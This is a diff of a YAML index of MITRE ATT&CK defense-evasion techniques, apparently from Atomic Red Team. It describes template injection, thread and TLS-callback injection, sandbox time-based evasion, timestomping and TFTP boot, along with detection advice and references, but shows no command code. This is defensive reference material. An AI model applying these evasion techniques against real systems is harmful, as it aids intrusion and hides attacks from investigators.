+        url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
+      - source_name: About UEFI
+        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
+        url: http://www.uefi.org/about
+      - source_name: MITRE Trustworthy Firmware Measurement
+        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
+          Firmware Security Research. Retrieved January 5, 2016.
+        url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
+      - source_name: MITRE Copernicus
+        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
+          about BIOS Security. Retrieved December 11, 2015.'
+        url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
+      - source_name: McAfee CHIPSEC Blog
+        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
+          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
+        url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
+      - source_name: Github CHIPSEC
+        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
+          Framework. Retrieved March 20, 2017.
+        url: https://github.com/chipsec/chipsec
+      - source_name: Intel HackingTeam UEFI Rootkit
+        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
+          Retrieved March 20, 2017.
+        url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
     atomic_tests: []
   T1542.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.005
-        url: https://attack.mitre.org/techniques/T1542/005
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Secure Boot
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
-          Boot. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Command History
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
-          History. Retrieved October 21, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Boot Information
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
-          Information. Retrieved October 21, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: TFTP Boot
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T16:35:53.806Z'
+      created: '2020-10-20T00:06:56.180Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
       description: |-
         Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.
 
         Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
-      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-10-22T16:35:53.806Z'
-      created: '2020-10-20T00:06:56.180Z'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Firmware: Firmware Modification'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
 
         Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/005
+        external_id: T1542.005
+        source_name: mitre-attack
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
+          Boot. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Secure Boot
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
+          History. Retrieved October 21, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Command History
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
+          Information. Retrieved October 21, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Boot Information
     atomic_tests: []
   T1221:
     technique:
-      id: attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Template Injection
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.2'
+      modified: '2020-04-29T14:37:59.462Z'
+      created: '2018-10-17T00:14:20.652Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534
+      x_mitre_defense_bypassed:
+      - Static File Analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)
 
@@ -39412,67 +40626,48 @@ defense-evasion:
         Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)
 
         This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1221
-        url: https://attack.mitre.org/techniques/T1221
-      - url: https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
-        description: Microsoft. (2014, July 9). Introducing the Office (2007) Open
-          XML File Formats. Retrieved July 20, 2018.
-        source_name: Microsoft Open XML July 2017
-      - source_name: SANS Brian Wiltse Template Injection
-        url: https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780
-        description: Wiltse, B.. (2018, November 7). Template Injection Attacks -
-          Bypassing Security Controls by Living off the Land. Retrieved April 10,
-          2019.
-      - url: http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html
-        description: Hawkins, J. (2018, July 18). Executing Macros From a DOCX With
-          Remote Template Injection. Retrieved October 12, 2018.
-        source_name: Redxorblue Remote Template Injection
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
-        description: Segura, J. (2017, October 13). Decoy Microsoft Word document
-          delivers malware through a RAT. Retrieved July 21, 2018.
-        source_name: MalwareBytes Template Injection OCT 2017
-      - url: https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
-        description: Intel_Acquisition_Team. (2018, March 1). Credential Harvesting
-          and Malicious File Delivery using Microsoft Office Template Injection. Retrieved
-          July 20, 2018.
-        source_name: Anomali Template Injection MAR 2018
-      - url: https://blog.talosintelligence.com/2017/07/template-injection.html
-        description: Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure
-          Leverages Template Injection. Retrieved July 21, 2018.
-        source_name: Talos Template Injection July 2017
-      - url: https://github.com/ryhanson/phishery
-        description: Hanson, R. (2016, September 24). phishery. Retrieved July 21,
-          2018.
-        source_name: ryhanson phishery SEPT 2016
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-04-29T14:37:59.462Z'
-      created: '2018-10-17T00:14:20.652Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Brian Wiltse @evalstrings
+      - Patrick Campbell, @pjcampbe11
       x_mitre_detection: 'Analyze process behavior to determine if an Office application
         is performing actions, such as opening network connections, reading files,
         spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)),
         or other suspicious actions that could relate to post-compromise behavior.'
-      x_mitre_defense_bypassed:
-      - Static File Analysis
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_contributors:
-      - Brian Wiltse @evalstrings
-      - Patrick Campbell, @pjcampbe11
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1221
+        external_id: T1221
+        source_name: mitre-attack
+      - source_name: Microsoft Open XML July 2017
+        description: Microsoft. (2014, July 9). Introducing the Office (2007) Open
+          XML File Formats. Retrieved July 20, 2018.
+        url: https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
+      - url: https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780
+        description: Wiltse, B.. (2018, November 7). Template Injection Attacks -
+          Bypassing Security Controls by Living off the Land. Retrieved April 10,
+          2019.
+        source_name: SANS Brian Wiltse Template Injection
+      - source_name: Redxorblue Remote Template Injection
+        description: Hawkins, J. (2018, July 18). Executing Macros From a DOCX With
+          Remote Template Injection. Retrieved October 12, 2018.
+        url: http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html
+      - source_name: MalwareBytes Template Injection OCT 2017
+        description: Segura, J. (2017, October 13). Decoy Microsoft Word document
+          delivers malware through a RAT. Retrieved July 21, 2018.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
+      - source_name: Anomali Template Injection MAR 2018
+        description: Intel_Acquisition_Team. (2018, March 1). Credential Harvesting
+          and Malicious File Delivery using Microsoft Office Template Injection. Retrieved
+          July 20, 2018.
+        url: https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
+      - source_name: Talos Template Injection July 2017
+        description: Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure
+          Leverages Template Injection. Retrieved July 21, 2018.
+        url: https://blog.talosintelligence.com/2017/07/template-injection.html
+      - source_name: ryhanson phishery SEPT 2016
+        description: Hanson, R. (2016, September 24). phishery. Retrieved July 21,
+          2018.
+        url: https://github.com/ryhanson/phishery
       identifier: T1221
     atomic_tests:
     - name: WINWORD Remote Template Injection
@@ -39502,14 +40697,25 @@ defense-evasion:
         name: command_prompt
   T1055.003:
     technique:
-      created: '2020-01-14T01:28:32.166Z'
-      modified: '2020-11-10T18:29:30.941Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Thread Execution Hijacking
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:22:50.800Z'
+      created: '2020-01-14T01:28:32.166Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6
       description: "Adversaries may inject malicious code into hijacked processes
         in order to evade process-based defenses as well as possibly elevate privileges.
@@ -39528,23 +40734,11 @@ defense-evasion:
         to the process's memory, system/network resources, and possibly elevated privileges.
         Execution via Thread Execution Hijacking may also evade detection from security
         products since the execution is masked under a legitimate process. "
-      name: Thread Execution Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.003
-        url: https://attack.mitre.org/techniques/T1055/003
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -39557,35 +40751,37 @@ defense-evasion:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-    atomic_tests: []
-  T1055.005:
-    technique:
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       external_references:
-      - source_name: mitre-attack
-        external_id: T1055.005
-        url: https://attack.mitre.org/techniques/T1055/005
-      - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
-        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
-          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
-          Retrieved December 18, 2017.
-        source_name: FireEye TLS Nov 2017
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - url: https://attack.mitre.org/techniques/T1055/003
+        external_id: T1055.003
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
         description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
           A Technical Survey Of Common And Trending Process Injection Techniques.
           Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+    atomic_tests: []
+  T1055.005:
+    technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Thread Local Storage
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:24:54.198Z'
+      created: '2020-01-14T01:30:41.092Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
       description: "Adversaries may inject malicious code into processes via thread
         local storage (TLS) callbacks in order to evade process-based defenses as
         well as possibly elevate privileges. TLS callback injection is a method of
@@ -39601,21 +40797,11 @@ defense-evasion:
         allow access to the process's memory, system/network resources, and possibly
         elevated privileges. Execution via TLS callback injection may also evade detection
         from security products since the execution is masked under a legitimate process. "
-      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:30.984Z'
-      created: '2020-01-14T01:30:41.092Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -39628,50 +40814,64 @@ defense-evasion:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/005
+        external_id: T1055.005
+        source_name: mitre-attack
+      - source_name: FireEye TLS Nov 2017
+        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
+          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
+          Retrieved December 18, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
     atomic_tests: []
   T1497.003:
     technique:
-      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
-      description: |-
-        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
-
-        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.
-
-        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
-      name: Time Based Evasion
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497.003
-        url: https://attack.mitre.org/techniques/T1497/003
-      - source_name: ISACA Malware Tricks
-        url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
-        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
-          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
       type: attack-pattern
+      name: Time Based Evasion
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T22:37:43.854Z'
+      created: '2020-03-06T21:11:11.225Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-01T15:48:28.345Z'
-      created: '2020-03-06T21:11:11.225Z'
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      - Signature-based detection
+      - Static File Analysis
+      - Anti-virus
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
+      description: |-
+        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
+
+        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)
+
+        Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)
+
+        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
       x_mitre_contributors:
+      - Jorge Orchilles, SCYTHE
+      - Ruben Dodge, @shotgunner101
+      - Jeff Felling, Red Canary
       - Deloitte Threat Library Team
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
       x_mitre_detection: 'Time-based evasion will likely occur in the first steps
         of an operation but may also occur throughout as an adversary learns the environment.
         Data and events should not be viewed in isolation, but as part of a chain
@@ -39681,60 +40881,83 @@ defense-evasion:
         implementation and monitoring required. Monitoring for suspicious processes
         being spawned that gather a variety of system information or perform other
         forms of Discovery, especially in a short period of time, may aid in detection. '
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      - Signature-based detection
-      - Static File Analysis
-      - Anti-virus
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497/003
+        external_id: T1497.003
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
+        description: 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses
+          supply chain exploit to attack hundreds of businesses. Retrieved September
+          30, 2021.'
+        source_name: Revil Independence Day
+      - url: https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique
+        description: Malik, A. (2016, October 14). Nitol Botnet makes a resurgence
+          with evasive sandbox analysis technique. Retrieved September 30, 2021.
+        source_name: Netskope Nitol
+      - url: https://www.joesecurity.org/blog/3660886847485093803
+        description: Joe Security. (2016, April 21). Nymaim - evading Sandboxes with
+          API hammering. Retrieved September 30, 2021.
+        source_name: Joe Sec Nymaim
+      - url: https://www.joesecurity.org/blog/498839998833561473
+        description: Joe Security. (2020, July 13). TrickBot's new API-Hammering explained.
+          Retrieved September 30, 2021.
+        source_name: Joe Sec Trickbot
+      - url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
+        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
+          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
+        source_name: ISACA Malware Tricks
     atomic_tests: []
   T1070.006:
     technique:
-      created: '2020-01-31T12:42:44.103Z'
+      type: attack-pattern
       modified: '2020-03-29T21:39:46.724Z'
+      name: Timestomp
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      created: '2020-01-31T12:42:44.103Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
       id: attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611
-      description: |-
-        Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
-
-        Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
-      name: Timestomp
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1070.006
-        url: https://attack.mitre.org/techniques/T1070/006
-      - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
-        description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use
-          of Anti-Forensics Techniques. Retrieved June 3, 2016.'
-        source_name: WindowsIR Anti-Forensic Techniques
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'File: File Metadata'
-      x_mitre_detection: 'Forensic techniques exist to detect aspects of files that
-        have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques)
-        It may be possible to detect timestomping using file modification monitoring
-        that collects information on file handle opens and can compare timestamp values.'
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
+      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - root
       - SYSTEM
       - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      description: |-
